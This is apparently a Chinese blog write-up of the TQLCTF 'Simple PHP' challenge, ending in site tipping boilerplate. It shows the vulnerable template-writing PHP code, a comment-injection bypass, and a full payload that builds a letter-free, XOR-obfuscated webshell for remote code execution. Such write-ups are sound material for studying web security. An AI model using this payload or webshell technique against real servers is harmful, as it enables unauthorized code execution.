TQLCTF-Simple PHP

注册登录,抓包发现有个地方有任意文件读取
请添加图片描述
读取index.php
关键代码

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0- 9>\?]/","",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNC__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo("<script>alert('Successed!');</script>"); }else{echo("<script>alert('Invalid chars in website!');</script>"); } }else{echo("<script>alert('Invalid chars in username!');</script>");

无字母和数字的getshell
参考p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
控制的参数为punctuation,进行传参上马
在这里插入图片描述
发现没被解析,猜想应该是解析为html,抓包看看本页面的源代码
在这里插入图片描述
关键代码:

<?php error_reporting(0); $user = ((string)3); $pass = ((string)zsfeccbc87e4b5ce2fe28308fd9f2a7baf3); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); }else{die("<script>alert('Permission denied!');</script>"); }?> </li> </ul> <ul class="item"> <li><span class="sitting_btn"></span>糝睕莞罎</li> <li><span class="help_btn"></span>使畨敕啕 <b></b></li> <li><span class="about_btn"></span>啳井敕䝏</li> <li><span class="logout_btn"></span>镕啺糝睕</li> </ul> </div> </div>
</div> <a href="#" class="powered_by">$_=('•'^'`').('•'^'`').('•'^'`').('•'^'`'). ('•'^'`').('•'^'`');$__='_'.(' '^']').('/'^'`').('•'^']').(' '^']');$___=$$__;$_($___[_]);</a> <ul id="deskIcon"> <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>

确实解析为html,但是关键点$user = ((string)3); 3是user的值,然后我们就能进行注释绕过
在这里插入图片描述
所以pylaod:

user=1)/*&pass=1&website=1&punctuation=*/;$_=('%01'^'`').('%13'^'`'). ('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`'). ('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*

成功rce
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M1kael

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值